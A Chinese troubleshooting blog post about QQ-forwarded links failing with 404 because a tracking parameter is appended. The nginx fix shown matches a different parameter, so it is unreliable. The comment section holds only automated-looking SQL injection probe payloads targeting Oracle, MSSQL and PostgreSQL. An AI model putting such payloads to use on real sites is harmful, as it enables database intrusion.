企业故障：QQ好友转发网站链接出现404

48585人浏览 / 1144人评论

一、有同事反映www.linagzeyu.com网站通过qq端转发链接给好友时，对方打开报404;

二、点击QQ转发的网址进行访问出现，在末尾会自动添加了某些参数，导致404.检查链接后缀携带？tdsourcetag=s_pctim_aiomsg

三、检查网站dns发现，https://www.liangzeyu.cn/gallery/wzl/upack/201903/t20190314_910891.html?tdsourcetag=s_pctim_aiomsg通过qq打开的链接，后缀增加了?tdsourcetag=s_pctim_aiomsg

四、最后添加if语句恢复正常

if ( $query_string ~ "^open_source=weibo_search$") { set $keyword PASS;}

全部评论

2019-12-17 16:35

angelina) AND 8781=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(112)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (8781=8781) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(107)||CHR(106)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND (4256=4256

2019-12-17 16:35

angelina' AND 8781=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(112)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (8781=8781) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(107)||CHR(106)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND 'siCk'='siCk

2019-12-17 16:35

angelina') AND 8781=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(112)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (8781=8781) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(107)||CHR(106)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND ('SeOO'='SeOO

2019-12-17 16:35

angelina AND 3544 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(112)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3544=3544) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(98)+CHAR(113)))-- zfZR

2019-12-17 16:35

angelina AND 3544 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(112)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3544=3544) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(98)+CHAR(113)))

2019-12-17 16:35

angelina) AND 3544 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(112)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3544=3544) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(98)+CHAR(113))) AND (2644=2644

2019-12-17 16:35

angelina' AND 3544 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(112)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3544=3544) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(98)+CHAR(113))) AND 'kPNp'='kPNp

2019-12-17 16:35

angelina') AND 3544 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(112)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3544=3544) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(98)+CHAR(113))) AND ('qGjp'='qGjp

2019-12-17 16:35

angelina AND 8715=CAST((CHR(113)||CHR(112)||CHR(112)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (8715=8715) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(107)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC)-- RLEd

2019-12-17 16:35

angelina AND 8715=CAST((CHR(113)||CHR(112)||CHR(112)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (8715=8715) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(107)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC)

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